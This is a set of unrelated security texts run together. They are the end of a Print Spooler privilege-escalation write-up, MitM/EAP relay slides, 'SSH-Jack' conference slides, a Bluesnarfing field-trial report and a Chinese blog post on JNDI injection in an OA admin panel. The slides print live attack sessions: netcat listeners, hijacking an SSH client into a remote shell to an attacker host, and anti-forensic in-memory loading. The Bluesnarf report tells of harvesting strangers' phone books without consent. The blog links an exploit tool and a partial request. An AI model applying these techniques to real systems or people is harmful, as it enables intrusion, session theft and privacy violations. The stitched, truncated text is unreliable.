able to create and perform our print job using its own SYSTEM token (and not by
impersonation).
We recalled the ProcessShadowJobs function, which we mentioned in the previous
vulnerability. The function is called when the Spooler is being initialized and processes all of
the SHD files within the Spooler folder.
We wondered: Are you telling us that there is a function which (A) reads unencrypted
serialized data (B) from a folder which we have write access to as a limited user and (C) we
can fully control the data? Sounds like a plan!
Originally, we assumed that during the early stages of the service initialization (and
processing the SHD files), there was no context nor impersonation, as the SHD files were
already written.
We also assumed that the context of the user is extracted out of the SHD file (remember
the SID field), but we found something better:
It appears that the service is impersonating itself and operates as NT
AUTHORITY\SYSTEM!
Let’s try to change the SHD file to contain the SYSTEM SID, write it to the Spooler’s folder
then restart the computer. Once the Spooler is restarted it will process the SHD file, parsing
the SYSTEM’s SID and performing the operations on behalf of SYSTEM.
Writing Files as SYSTEM
We used a valid SHD file as a template and changed the following fields:
1. The SPLSize field. This is the size of the DLL which we want to write.
2. The status of the print job. We changed it to 0x800 so the spooler would process it.
3. The job number.
Next, we copied the crafted SHD file and our DLL (as the SPL file) to the Spooler’s directory,
running as a limited user:
And then, we restarted the computer. We enabled ProcMon on boot so we could
understand if we were able to write the DLL to System32:
We succeeded. We just achieved a privilege escalation from a limited user to NT
AUTHORITY\SYSTEM and wrote an arbitrary DLL file in System32.
As a bonus, multiple Windows services loaded our DLL (wbemcomn.dll) as they didn’t
verify the signature and tried to load the DLL from an unexisting path, meaning we
also got code execution.
Our wbemcomn.dll loaded an additional DLL named “hello-world.dll”, which dropped a txt
file each time it got loaded. The name of the txt file consists of the username and the
process which loaded it.
Mitigation
One of the root causes of the arbitrary file write bug class (in the context of local privilege
escalation) is the fact that an unprivileged user is allowed to write directly to folders which are
being handled directly by services which run as NT AUTHORITY\SYSTEM, for example:
●
System32\spool\PRINTERS - CVE-2020-1048, CVE-2020-1337, Spooler DoS
●
Spool\drivers\color - CVE-2020-1117 (RCE)
●
System32\tasks - CVE-2019-1069
●
C:\ProgramData\Microsoft\Windows\WER\ReportQueue - CVE-2019-0863
●
c:\windows\debug\WIA
●
c:\windows\PLA - 3 sub directories.
In addition to reporting the vulnerabilities to MSRC, we also translated our experience into a
Mini-Filter Driver as a PoC for demonstrating how one can prevent the exploitation of such
vulnerabilities in real-time.
You can find the source code in our GitHub repository[3]. Please notice that the code was
written for demonstration purposes only, and should not be used in a production
environment.
Updated Notes
Update (May 2020): Microsoft released a patch for the EoP vulnerability we found and assigned
it CVE-ID: CVE-2020-1048.
Update (June 2020): We have found a way to bypass the patch and re-exploit the vulnerability
on the latest Windows version. Microsoft assigned this vulnerability CVE-ID: CVE-2020-1337
and it will be patched on August’s Patch Tuesday.
We will be able to release technical details once it is patched. Stay tuned.
References
[1] Yuan, Feng: Windows Graphics Programming: Win32 GDI and DirectDraw
[2] https://www.codeproject.com/Articles/8916/Printing-Architecture
[3] https://github.com/SafeBreach-Labs/Spooler | pdf |
More MitM Makes
Mana Mostly Mediate
Mischievous Messages
@singe
@cablethief
[email protected]
[email protected]
Tracking Scenarios
Scenario 1 Snoopy
Don’t go to them
Make them come to you
Enterprise EAP
Networks
Scenario 2 EAP
association
4-way handshake
Server Cert
Client Cert
EAP Relay with Sycophant
By @cablethief
association
4-way handshake
outer TLS setup
MSCHAPv2 challenge
MSCHAPv2 response
association
4-way handshake
outer TLS setup
MSCHAPv2 challenge
MSCHAPv2 response
association
outer TLS setup
4-way handshake
sycophant
Mallory in the Middle
Scenario 3 MitM
Practise
HW-less CTFs
https://w1f1.net/
@sensepost
@singe
@cablethief | pdf |
Trust Transience:
Post Intrusion SSH Hijacking
July 2k5 - Blackhat USA 05 &
Defcon 0x0D
So you're a sneaky Blackhat...
The Target
Recon
● Mail headers say MUA
is PINE
● .sig says Debian Sarge,
kernel 2.4.22
● Web logs show egress
HTTPS traffic doesn't go
via a proxy (no
forwarded-for header)
The Plan
Let's Do It
haxor:~$ nc -l -p 1337
admin@box:~$ id
uid=1004(admin) gid=1004(admin) groups=1004(admin)
admin@box:~$ ps auxw | grep -q pine || echo shit
shit
admin@box:~$ ls core
core
admin@box:~$ uname -nsr
Linux box 2.6.11
haxor:~$ ./pine0day | spoofmail -f 'Mr. Mbeki' -s 'Opportunity for joo!'
[email protected]
Things start to unravel
admin@box:~$ w
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
admin pts/1 :0
09:28 10.3m 3.1s 0.2s bash
admin pts/2 :0 09:31 1.0s 1.4s 0.9s bash
admin pts/3 haxor.com 14:03 0.0s 0.3s 0.3s w
admin@box:~$ ps x
3132 ?
S
0:23 xfwm4 –-daemon –sm-client-id 34235
3590 ?
S+
0:05 xterm -rv
3593 pts/1 Ss+
0:02 bash
3597 pts/1 S+
0:12 ssh [email protected]
9034 ?
S+
0:03 xterm -rv
9036 pts/2
Ss+
0:02 bash
9154 pts/3 R+
0:00 ps x
+++ATH0
● Things have gone pear-shaped
● Haven't got root, are about to get busted
● Time to drop carrier and run?
● But that SSH session, oh so close.
● If only there was a way to get to the other end of
that SSH...
There is a way
admin@box:~$ <Ctrl-A>:!!!!mafl-load ssh-jack 3597 haxor.com 1338
Connecting to /usr/bin/ssh running as pid 3597...
Connected
Ferreting out some useful symbols...
Located libc symbol 'socket' at 0xb7e19a50
Located libc symbol 'connect' at 0xb7e195c0
Located libc symbol 'select' at 0xb7e12490
Located section '.got' 0x0807eb8c to 0x0807eef4
Located section '.plt' 0x0804aa68 to 0x0804b7d8
Located section '.text' 0x0804b7e0 to 0x08070450
Located section '.rodata' 0x08070480 to 0x0807dd6c
Resolved dynamic symbol 'socket' at PLT: 0x0804b6b8 GOT: 0x0807eea8
Resolved dynamic symbol 'select' at PLT: 0x0804ad88 GOT: 0x0807ec5c
Resolved dynamic symbol 'connect' at PLT: 0x0804b5f8 GOT: 0x0807ee78
Locating stub injection point...
Phase 1: Find magic string in .rodata... 0x0807139c
Phase 2: Find where magic string is used... 0x0804d803
Phase 3: Find three jump 0x0804d800 instructions... 0x0804d6d9 0x0804d6e1 0x0804d6e9
haxor:~$ nc -l -p 1338
root@ns1:~# echo pwned!
pwned!
Intro
● I'm Metlstorm / Adam
● From New Zealand
– No, I don't know any hobbits, you
sad Tolkien fanboi
● Work for a Linux systems
integrator, in the past a corporate
whore security consultant, ISP
security guy, NOC monkey
WTF Just Happened?
● Intrusion
– MO: attack servers via the admins
– Complexity == insecurity
– Things go wrong...
– ... you can drop carrier and run...
– ... or display adaptability.
(You look like you're
writing an SSH
jacker...)
Post Intrusion
● Goals
– Priv escalation
– Stealth & consolidation
– Recon, further penetration
– Guerrilla; hit & fade, keep it moving
● Displaying Adaptability
– Things don't go according to plan
– Adaptability core difference between hackers and
[skript|korporate] kiddies
(you don't want to end
up like Markus Hess)
Cross Host Privilege Escalation
● Maybe local root is a distraction
● Yes, exploiting local vulnerabilities is easier, we
can see stack layout, versions, etc
● But what if there were something even easier?
Trust Relationships
● Kicking it old school
– rhosts
– ports < 1024 == root
– exporting / *(rw)
● Gives you that warm apple pie nostalgia feeling
● Can you believe that we even called that hacking?
● Provides instant gratification; no waiting for user
interaction
(when the postman knew your name,
and no one locked their front door)
(We're all Unix hippies around
here, share the love!)
Non-Transient Trusts
● Traditional “fixed”
trusts (rhosts, ssh trusts)
● Stored authentication
credentials
● “One factor” auth
● Authentication based on
connection properties
(e.g: source IP, port)
Transient Trust
● Trust relationships
that exist only for a
period of time
● Open, post
authentication
sessions
● Unless you personally auth each packet, any cross-
priv-boundary connection has some transient trust
Exploit Metrics
● Evaluate techniques
for exploiting trusts
● Assume that we've just
acquired a non-root
shell on a client
machine
● Metrics: (value 1-10)
– Ease
– Stealth
– When
– Feasibility
Exploiting Non-Transient Trust
● Pretend to be Client A
so the server trusts us
Ease:
10
Stealth:
10
When:
10
Feasibility: 2
Exploiting (Keylogging)
● During
Authentication:
– Obtain User A's
password
● Later:
– Impersonate User
A
Ease:
7
Stealth:
8
When:
3
Feasibility: 7
Exploiting (MITM)
● During
Authentication:
– Impersonate
Server to Client
– Impersonate
Client to Server
● Later:
– Monitor session
– Take over session
Ease:
5
Stealth:
4
When:
3
Feasibility: 5
Exploiting (TCP Hijack)
● Later:
– Predict TCP
Sequence
numbers
– Take over
running session
Ease:
3
Stealth:
1
When:
7
Feasibility: 2
(Is it just me or does that
look like Shimomura?)
Exploiting (Application Hijack)
● Later:
– Take control of
network client
application
– Sneak down
running,
authenticated
session
Ease:
8
Stealth:
8
When:
7
Feasibility: 7
Hijack the Application
● Different MO:
– attack during peak time, while the users are there
– daylight robbery; take their root while they're using
it...
– ...without them even noticing
● Not really very technically challenging
– just creative reapplication of tricks virii, debugging,
binary reverse-engineering
Technique Comparison
● Transient trusts
almost as much
fun as the real
thing
trusts
key-
log'n
tcp hi-
jack'n
MITM
tran
sient
trust
0
2.5
5
7.5
10
12.5
15
17.5
20
22.5
25
27.5
30
32.5
feasibility
stealthy
when
ease
(Gentlemen, as this graph
clearly shows, my m4d
t3kneeq is teh b3zt!)
The SSH 'Jacker
● SSH-Jack: A Python script which gives you a
shell at the other end of a running SSH session
– How it works
– Implementation Details
– Anti-forensics
– Mitigation
– Improvements, Direction
Rich Protocols: SSH
● Goal: Hijack session while in active use without
detection
● Virtual Channel infrastructure makes it seamless
How it Works (I)
● Reuse the features provided by SSH...
● ... for evil
● Glue a socket to a second shell, add an Evil
Hax0r, mix well.
How it Works (II)
● Using Python and GDB/MI it:
– ptrace attaches to the SSH client process
How it Works (III)
– finds the virtual channel setup code
– patches it in memory to request a remote shell which
talks to a local tcp socket instead of the user
How it Works (IV)
– alters execution flow to run the VC setup code
How it Works (V)
– restores original code & state
– continues execution as if nothing happened...
– ... except that you got pwned.
What your mother warned you about
● Hackers are sneaky
● Hackers don't just install LRK4 and BNC any
more (at least, the ones you don't catch)
● Good hackers display creativity (as do expensive
pentesters... you hope)
Automated Debugging
● Of course a human with a debugger can do
sneaky things
● We want to automate it
● GDB is good, GDB/MI (machine interface)
passable
● Python + GDB is a good mix; ubiquitous
scripting language, interactive shell, good
debugger
Automated Debugging (II)
● Goal: sneakiness of a human, speed and
portability of a script
● Less like debugging (no symbol information),
more like bit of binary analysis mixed with a bit
of virus technique
Details
● SSH-Jack Nitty Gritty
– Python GDB/MI
– Finding a safe place to stop the program
– Deciding where to redirect execution
– Generating code to inject
– Running it
– Restoring everything
● Discussing with specific reference to SSH-Jack,
but techniques are general
GDB/MI
● GDB is the GNU debugger
● GDB/MI is it's programmatic interface
● Implemented gdbmi.py, python interface to GDB
● Basic functionality only, but usable. e.g:
g=gdbmi()
g.connect(pid)
g.insertBreak(breakpoint)
g.waitForBreak()
oldeip = g.getRegs()[“eip”]
g.setByte(0x0ee7beef, 0x29)
A Safe Place
● Normally single threaded, use of globals, no
locking, so we have to be careful
● Find a safe place to run our code
– read the fine source
– probably the mainline, as close to normal as possible
● Stop the process
● Locate address of safe place
● Add a breakpoint there, easy!
● Continue execution
clientloop.c:
407: ret = select((*maxfdp)+1,
*readsetp, *writesetp, NULL, tvp);
408: if(ret > 0) {
But where is select()?
● We don't have debug
symbols
● No problem, just a few
more steps:
– Select() is provided by
libc...
– Ask for the address
where the dynamic
linker put libc::select()
But where is select()? (II)
– Find the entry in the
ELF Global Offset
Table for libc::select()'s
address
But where is select()? (III)
– Find entries in the ELF
Procedure Linkage
Table for the GOT
entry
But where is select()? (IV)
– Find calls to the PLT
entry in the code
● In this case, there's
only one call to select
anyway, so last step
not required
● Just a breakpoint in
the ELF PLT will do
Where we'll do the evil
● Find the virtual channel setup code:
– ssh.c,1150: ssh_session2_open()
● Still no debug symbols
● Has unique string:
– “dup() in/out/err failed”
● Similar to before:
– find unique string in ELF .rodata section
– find reference to .rodata entry in .text
The Evil Itself
● Evil code will replace first half of VC setup code
● Save regs & flags before execution, restore after
● “Shellcode” to socket(); connect();
● Put a socket where SSH expects a local filehandle
(yay for Unix!)
● Leave register state just so, stack unmangled, so
execution continues
● Uses libc calls, not syscalls, for no good reason
The Evil Itself (II)
● Why the effort to overwrite half a function?
– Avoid runtime, by hand linking with no symbols
– SSH uses lots of globals, 'data driven' style using
function pointer arrays, horrible to link by hand
– Minimal deviation from existing code
● Handcrafting for each SSH binary tedious
● Don't have enough info for a general solution...
● ... until runtime. So we patch one up then.
Generating the Evil
● Work backwards from
unique string
● Learn stack size
● Patch in command line
parameters
● Patch stack size, PLT
entries for socket() and
connect() into code
Injecting the Evil
● Backup EIP
● Backup old code
● Evil code takes care of
saving and restoring
registers/flags
● Overwrite start of
function() with evil
● Set breakpoint to catch
end of evil
Running it
Saving EIP
Saved EIP 0x804ad88
Saving 92 bytes of code that we're about to overwrite at 0x0804d679
Injecting 92 bytes of stub at 0x0804d679
Clearing breakpoint
Setting new breakpoint at 0x0804d682
Setting EIP to 0x0804d679
Continuing execution.
Waiting for breakpoint...
Returned from our stub! Woot!
Restoring 92 bytes of old code that we overwrote at 0x0804d679
Clearing break
Resetting EIP
Finished cleaning up, detaching from process.
Smacking it upside the head with a SIGWINCH to wake it up...
haxor:$ nc -l -p 1337
luser@pwned:~$ echo woot!
woot!
● Clipart dude is
playing hunt the
Wumpus via SSH
● The Wumpus is
still going to kill
him
Jack yourself?
● Test your plan of attack first
– Write your hijack code in C, and compile it into the
application
– Hook it up to some sekret keystroke, or signal or
whatever, so you know that it's possible
– Base your 'shellcode' on what the compiler assembled
● Implement hijacking for a binary with debug
symbols, much easier
Jack yourself? (II)
● Build a list of symbols you need to find
● Decide how you're going to find them
● Write cunning code to do so
● Jack your friends for fun and profit
● Optional: package nicely with a spinny-round-o-
vision OpenGL GUI for the kiddies and Security
Consultants
Bits and Pieces
● Think about your SCP-push backups, your CVS,
your rsync. SSH gets around.
● Does the jacked connection show up in the list?
● What happens when they log out?
● Should work on any OpenSSH 3.x ish
● Current code known to work on Debian Sarge,
RHEL3, RH9
● SuSE's GCC is nuts. I'm amazed it runs at all.
Tangent: Anti-forensic Technique
● Moving fast, not stopping to rootkit everything
assumes you're taking Precautions
● Go and see the Grugq's talk. Really. It has
FISTing.
● A brief summary
● How we apply anti-forensic technique in the
SSH-Jacker
Anti-Forensic Technique
● No code on disk == no tripwire, no encase
– everything in memory only
● Use local tools/interpreters only
– all they'll know is that you did something, not what
– write your tools on the spot as you need them
● No new network connections for an IDS to spot
– reuse your existing connection
– hide in plain sight
● Encrypt everything so packet logs are useless
How we implement AF principles
● Some bits are good already:
– We use general purpose tools:
● python
● GDB
– SSH is encrypted to start with
– We're sneaking down an existing connection
How we fail to implement AF
● Some bits not so good
– python code lying around on disk for people to read
– new connection from the SSH client to us to give us
our shell...
– ...which is also in the clear
● We need to try harder
– SSH port forward incoming shell back down
encrypted session
Loading Python directly into memory
● Compile python bytecode locally, compress it,
base64 encode for 7bit cleanliness
● Generate stub that will unpack and run the above
● Send both across your shell
$ python -c 'import sys
while 1:
exec sys.stdin.readline()'
● Run a python
interpreter, tell it to
read python on stdin,
and run it
MAFL-Load
● Doesn't sound easy enough? How about a skript?
– mafl-load script.py [args]
– Does all the previous, in one easy step
● I hack in Screen, which rocks even more
– Ctrl-A:!!!!mafl-load ssh-jack pid
– Injects output of mafl-load into my remote shell, and
runs it. Ahh, the Joy of Unix.
● You can almost forget that you're doing it
Improvements, Future Direction
● Runtime assembler with Mosdef or similar
● Pure python debugger, remove GDB dependency
● Do it to MSRDP, or Citrix ICA
● All manner of domain-specific sneakiness; a
programmatic debugging toolkit is a useful thing
to have in your box of tricks
Is this Theo de Raadt's Fault?
● Hell no, it's a feature!
● SSH Protocol spec says multiple shells are fine
● Server-to-client shells would be...
● ... except they took care of that
● and unsolicited server-to-client port-forwarding
● Other SSH client/server implementations might
be different.
● And anyway, OpenSSH is cool. Props to them.
Mitigation Technique
● Uhh, don't get rooted
● Patch kernel to restrict ptrace() to root
● Ensure that any SSH trusts you do have are
restrictive
– command=”stuff”,no-port-forwarding,permit-
open=”host:port”
● Give debuggers the whole Steve Gibson Raw-
Sockets-Are-Evil treatment!
Why You Should(n't) Care
● Nothing you didn't - even if you repressed it -
already know
● If you get rooted, you're screwed. But you knew
that.
● Rich desktops make attacking admins to get to
servers a good route
● This technique is useful against any client, but
protocols with VC arch are the best – MSRDP,
Citrix ICA...
Hackers Made Me Do It
● Ruxcon (Sydney) 2k3 and 4 inspiration
– Grugq: antiforensic shaolin master
– Shaun Clowes: the holy-crap-wtf-insane Shiva ELF
encryptor
– Silvio Cesare: linux vx godfather
● Mad greetz to:
– NZISIG, NZ2600, SLi, and the rest of what passes for
a Scene in NZ.
– Gnuspice for giving me a copy of Cheswick and
Bellovin many years ago.
Q&A
● Shred me and my lameitude
Spam me
● [email protected] | pdf |
Bluesnarfing @ CeBIT 2004
Detecting and Attacking bluetooth-enabled Cellphones at the
Hannover Fairground
Dipl.-Ing.(FH) Martin Herfurt
Salzburg Research Forschungsgesellschaft mbH, Austria
[email protected]
March 30, 2004
Abstract
A big shock went through the community when it became public, that some
bluetooth-enabled handsets are disclosing personal information. The informa-
tion posted on [1] introduces three basic ways to attack bluetooth-enabled de-
vices. This report briefly describes the SNARF exploit for the recently discov-
ered bluetooth security loophole that is not requiring any kind of preparation
or prior manipulation of the devices.
1
Introduction
SNARF and bluesnarfing are words that have been spooking through the Internet
during the last months. These words relate to a recently discovered security flaw in
bluetooth-enabled devices. This report is about a field-trial that has evaluated this
security loophole at the CeBIT 2004 in Hannover.
1.1
Bluetooth Security Issues
End of November 2003 Adam and Ben Laurie (A.L. Digital Ltd.) published a doc-
ument [1] on the Internet stating that some bluetooth-enabled phones are having
serious security flaws. These flaws allow attackers to connect to the device without
permission (no pairing) and carry out a so-called SNARF attack.
In the beginning of February 2004, the fact that some bluetooth-enabled handsets
are having security issues made it into many news-tickers around the globe. Most
of the news-sites pretended that exploit-tools were available in the Internet. But
even extensive research in the Internet did not bring up the location where these
1
tools were available.
As described in [1], the SNARF attack enables access to restricted portions of the
device. SNARF is a word coming from computer-hacker jargon. To snarf something
means “to grab a large document or file and use it without the author’s permission”[2].
So it is possible to, for example read out the affected devices’ phone books. These
phone books contain numbers and associated names of persons that are either stored
in the device phone-book, on the SIM card or in the lists of missed, received or di-
aled contacts. It is also possible to retrieve and send SMS messages from the affected
phone or to initiate phone calls to any existing number (this feature is of special in-
terest if you are the running a premium service number yourself ;-).
In theory, all supported AT-commands could be issued to the respective device, but
according to statements of the manufacturers some of the commands are not per-
mitted by means of this disallowed connection. But there would be no reason of
preventing commands from a connection that the firmware discloses by accident.
1.2
CeBIT 2004
The CeBIT is one of the events, where people go that are into computers and new
technologies. Compared to other groups this group of people tends to use their de-
vices differently. It is more likely that these people are active bluetooth users. So
at the CeBIT fairground optimal preconditions for the evaluation of these devices’
security are given.
The CeBIT is Europe’s biggest IT-exposition and takes place every year at the Han-
nover fairground in the north of Germany. As in the years 2002 and 2003, Salzburg
Research together with the Salzburg University of Applied Sciences and Technolo-
gies had a booth at the CeBIT 2004 located in Hall 11. There, in the so-called future
park, all research and education companies and institutes are located. Favorably,
the Salzburg Research booth was located close to the public restrooms, where more
people tend to pass by than at other places in this hall. At this location, an envi-
ronment for the discovery and the attacking of bluetooth-enabled devices was set
up.
2
The Bluesnarf Field Trial
The environment was build up by open-source software ran on a laptop computer.
2.1
The Environment Setup
The hardware used for this trial was a COMPAQ Evo N600c with two low-cost MSI
bluetooth USB-dongles. The software used with this hardware was linux-2.6.2
2
together with Qualcomm’s bluetooth stack implementation Bluez (bluez-libs-2-
.5,bluez-utils-2.4 and bluez-sdp-1.5). The actual application was imple-
mented in PERL and C. For better data-mining capabilities, an enterprise-level SQL-
DBMS (postgresql-7.4.1) has been used in order to store and access the col-
lected device-information.
2.2
Collected Data Samples and Results
In total, 1269 different devices have been discovered in the period from March 18th
to 21st March 2004 at the place described above. Due to the limited range of about
ten meters, not all of the bluetooth-enabled devices at this place could have been
detected. But still, the number of discovered devices is very high.
2.2.1
Discovered Device Vendors
Figure 1 shows a diagram that represents the distribution of manufacturers. The
determination of the vendor is done by means of the bluetooth address. Similar
to the hardware-address (MAC address) of Ethernet network interface cards, also
the bluetooth address refers to the manufacturer of the bluetooth chip-set. Table 1
shows the vendor and the three first bytes of the bluetooth addresses that are asso-
ciated with the respective vendor. Also a value expressing the distribution among
the vendors is provided in this table.
The 70 percent of discovered Nokia handsets clearly represent Nokia’s market-
Nokia
SonyEricsson
Siemens
Unrecognized
Other
Figure 1: Device Vendor Distribution
leadership in Europe. Interestingly, many companies use the Nokia 6310i as a com-
pany phone. One possible reason for this could be the compatibility to the Nokia
car-kits that have been installed over years in many company cars.
3
Vendor
Address-Bytes
Percentage
Nokia
00:02:EE , 00:60:57 , 00:E0:03
70
SonyEricsson
00:0A:D9
11.35
Siemens
00:01:E3
8.2
Unknown
miscellaneous
8.1
Other
miscellaneous
2.1
Table 1: Device Vendors
2.2.2
Discovered Models
It cannot be determined from the device’s bluetooth address which model of the
respective vendor this is. Therefore, the bluetooth name that on many devices de-
faults to the model number has been used to identify the model of the discovered
device. The bluetooth name of the devices can be set by the user and is therefore not
itself a reliable information to determine the model number. It is worth mentioning
that many people use their full name as an identification for their device.
The tables 2, 3 and 4 show the numbers of models that could have been uniquely
determined by their names. So, this graph is not totally correct, but gives a coarse
idea on the vendor/model distribution.
The graph displayed in figure 2 supports the assumption that has been made before,
that obviously many companies are using the Nokia 6310i phone for their employ-
ees.
The high popularity of the T610 phone is reflected by the diagram presented in
Unrecognized
6310/6310i
6600
3650
7650
Figure 2: Nokia Model Distribution
figure 3. Also the current top-of-the-line model (the P900) has been discovered com-
parably often.
4
Device
Number
Percentage
Unrecognized
669
75.1
Nokia 6310/6310i
135
15.2
Nokia 6600
48
5.4
Nokia 3650
28
3.1
Nokia 7650
11
1.2
Table 2: Recognized Nokia Models
Characteristic for the German/European market was the relatively high presence
Unrecognized
T610
P900
P800
Figure 3: SonyEricsson Model Distribution
Device
Number
Percentage
Unrecognized
106
72.1
SonyEricsson T610
33
22.5
SonyEricsson P900
7
4.8
SonyEricsson P800
1
0.6
Table 3: Recognized SonyEricsson Models
of Siemens phones. At the moment, only the phones belonging to the 55 series and
the new SX1 are supporting bluetooth.
5
Unrecognized
S55/SL55
SX1
Figure 4: Siemens Model Distribution
Device
Number
Percentage
Unrecognized
69
66.3
Siemens S55/SL55
30
28.9
Siemens SX1
5
4.8
Table 4: Recognized Siemens Models
2.2.3
Discovered Vulnerable Devices
As written in [1], there are a number of devices that are vulnerable to the SNARF at-
tack. According to this document there is the Ericsson phone T68/T68i, the SonyEr-
icsson phones R520m, T610 and Z1010 and the Nokia phones 6310/6310i, 8910/8910i
and 7650. Adam Laurie also provides information, whether the respective devices
are attackable in invisible or visible mode, only. Since the setup used for this field
trial did not use a brute-force approach (as presented by @stake) for detecting also
invisible devices, this study only confirms the vulnerability of visible devices. Due
to limited market take-up and the resulting low penetration-rate of some devices,
the vulnerability of some of the listed devices cannot be confirmed by this study.
As displayed in figures 2 and 3, the two top-selling bluetooth-enabled models of
SonyEricsson and Nokia are vulnerable to the SNARF attack.
Experiments with the SonyEricsson T610 showed that this model is generally not
vulnerable to the SNARF attack. During an earlier presentation of the SNARF at-
tack in February it happened that T610 phones with recent versions of the T610
firmware were disclosing personal information. Obviously, newer versions of the
T610 firmware do allow SNARF attacks.
6
Nokia 6310/6310i
As mentioned above, this study confirms that the Nokia 6310
and the more enhanced Nokia 6310i are very vulnerable to the SNARF attack. About
33 percent of all discovered devices of this type were disclosing personal phone book
entries without requiring user-interaction. Since the snarf-process takes an average
time of 30 seconds (from the discovery to the end of the attack), it is very likely that
a lot more devices could have been read out. Too many people were just passing the
location so that they left the bluetooth-covered area too early to be snarfed. Figure 5
Total
Snarfed
0
200
Nokia 6310/6310i
135
44
Figure 5: Snarfed Nokia Phones
displays the ratio of discovered and provenly vulnerable Nokia 6310/6310i devices.
But as mentioned above, this could have been more.
SonyEricsson T610
Figure 6 shows the ratio of discovered and successfully at-
tacked SonyEricsson T610 devices. As mentioned before, in future when the newer
firmware is running on an increased number of T610-devices the success rate of the
SNARF attack will also increase. In the CeBIT 2004 field trail only 6 percent of all
discovered T610 devices could be read out.
Siemens phones
As far as it has been observed in the CeBIT field trial, Siemens
phones are not vulnerable to the SNARF attack. Bluetooth-enabled Siemens phones
like the S55 merely seem to be rather paranoid. Every time a usual scan-request is
received by these phones they cowardly ask for the user’s confirmation. Actually,
this behavior is quite annoying.
2.3
Other Experiences
In preparation for the trial-setup, the Ericsson T68i (which is also on the list of vul-
nerable devices) has been checked. It can be confirmed, that this phone is vulnerable
7
Total
Snarfed
0
50
SonyEricsson T610
33
2
Figure 6: Snarfed SonyEricsson Phones
to the SNARF attack but switches into the hidden mode automatically (three min-
utes after activation of the bluetooth interface). In hidden mode this phone is not
vulnerable (as mentioned in [1]).
3
Final Remarks
3.1
Proclaimer
The information gathered in this field trial will not be disclosed to anybody. Per-
sonal information that has been retrieved from vulnerable phones has been deleted.
This study has been made for scientific demonstration purposes, only.
3.2
What has been done
The SNARF attack used at the CeBIT was intended to finish as fast as possible. That
is why only the first 10 entries of each phone book were read out. About 50 numbers
from each snarfed phone have been retrieved.
3.3
What could have been done
As mentioned in the introduction there could have been done a variety of differ-
ent things with an unauthorized bluetooth connection to the phone. The following
paragraphs give some ideas on the things this security flaw would also allow the
attacker to do.
8
3.3.1
Sending a SMS
The only good way to get to know the number of the snarfed phone is to send
an SMS from the attacked phone to another device. Depending on the manufac-
turer of the phone, SMS messages can either be provided in 7bit encoded ASCII-text
and/or have to be provided as a SMS-PDU which is rather tricky to generate. For
the creation of SMS-PDUs there is a tool called PDUSpy in the download section of
http://www.nobbi.com/.
Nokia phones allow to issue text-mode and PDU-mode messages to the device,
while SonyEricsson phones (and also Siemens phones) only accept PDU-encoded
SMS messages. The sending of an SMS is not visible to the user. Usually, the is-
sued SMS is not stored in the sent-box of the snarfed phone. In rare cases, the SMS
settings of the snarfed phone are set to require a report that is generated at the re-
ceiving phone. In this case the sender that was not aware of having sent a message
would receive a reception-report from the attacker’s phone (which includes a phone
number). By sending PDU encoded messages, it can be controlled by setting a flag
whether a reception report is generated or not.
This method to get the victim’s phone number is causing costs to the holder of the
phone. That is why it has not been done in the CeBIT field-trial. But it works for
sure (at least on Nokia devices).
It would also be possible to get the device’s phone number by initiating a phone call
to the number of a phone that is able to display the caller’s number. However, this
method would disclose the number of the dialed phone to the owner of the attacked
phone, because every call initiation is writing an entry into the dialed contacts list
(DC phone book).
3.3.2
Initiating a Phone Call
It is possible to initiate phone calls to virtually any other number. It would be very
lucrative to initiate calls to a premium service number that is ran by the attacker.
As mentioned before, dialed numbers are usually stored in the phone’s calling lists
and are also stored at the provider-site for billing purposes. Therefore, this kind of
abuse is rather unlikely. It would also be very very easy to find out and sue the
person being responsible for this premium service.
3.3.3
Writing a Phone Book Entry
As mentioned before, every phone call is writing an entry into the “dialed contacts”
or DC phone book of the respective device. By writing a phone book entry into the
DC phone book, the traces on the device that evidence that a call has been made
can be replaced by any number. Since the operator also stores dialed numbers for
billing purposes, this kind of obfuscation would only delay the process of finding
9
the responsible person.
Of course it is also possible to do some nasty phone book entries. Just imagine
an entry that has ’Darling’ as a name and the number of a person you dislike. This
owner of the phone could then get into some trouble with his/her spouse ;)
In the CeBIT-trial no phone book entries have been done. Such entries would most
likely overwrite existing ones.
3.4
Vendor Reaction
On news pages it has been stated that the respective vendors are admitting this se-
curity loophole. It has also been implied that there are no intentions to do anything
against it, since it does not seriously damage the phone.
Asking representatives from the respective vendors at the CeBIT, I have been told
that these problems have been solved in actual firmware-versions that can be up-
graded for free. Whether this security flaw has been fixed in newer firmware ver-
sions cannot be confirmed.
4
Conclusions
It would be paranoid to imply, that it is no random incident but purposeful that the
best-selling bluetooth phones of the market leaders SonyEricsson and Nokia can be
easily be read out by attackers.
This test report is intended to point out this serious security flaw to bluetooth-users
in order to make them act more careful in this point.
An @stake report [3] introduces some more things to consider with respect to blue-
tooth devices. For example, this report points out effective measures to protect de-
vices from various attacks. Furthermore, the comparable harmless Bluejacking is
another bluetooth activity that helps getting over boring times in airport terminals
or other public places with a high bluetooth-device density.
5
Future Work
Ongoing experiments include a SNARF application on Java/J2ME phones. As a
requirement for this, the respective phones would have to have the MIDP 2.0 API
implemented together with the optionally provided Bluetooth-API. The only phone
that has these features at the moment is the Nokia 6600.
10
6
Acknowledgments
I thank Matthias Zeitler and Peter Haber for drawing my attention to this topic,
Collin R. Mulliner for providing useful information, Elfi Redtenbacher for lending
me her vulnerable bluetooth enabled phone and Paul Malone and Guntram Geser
for reading and correcting this report.
11
References
[1] Ben Laurie Adam Laurie. Serious flaws in bluetooth security lead to disclosure
of personal data. Technical report, A.L. Digital Ltd., http://bluestumbler.org/,
January 2004.
[2] Webopedia.
What
is
snarf?
-
a
word
definition
from
the
we-
bopedia
computer
dictionary.
Technical
report,
Webopedia,
http://www.webopedia.com/TERM/S/snarf.html, January 2003.
[3] Ollie Whitehouse. War nibbling: Bluetooth insecurity. Research report, @stake,
Inc., October 2003.
12 | pdf |
蓝某OA后台JNDI命令执⾏
前段时间发了⼀套组合利⽤到xmldecoder反序列化的,但是后⾯拿到源码看了下,
前台和后台的管理员账户不是⼀个密码。可能只是运⽓好,前后台⽤了同⼀个密
码。
之前就有说过后台有JNDI,且提供测试链接。⽆需保存操作。
OA使⽤的是⾃带的jdk1.7.
可以直接使⽤⽹上的Payload进⾏jndi注⼊。
EXP⼯具:https://github.com/welk1n/JNDI-Injection-Exploit
使⽤1.7地址 然后直接点击测试链接就可以:
POC:
POST /admin.do HTTP/1.1
Host: adderss
Connection: close
Connection: close
Content-Length: 61
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google
Chrome";v="90"
sec-ch-ua-mobile: ?0
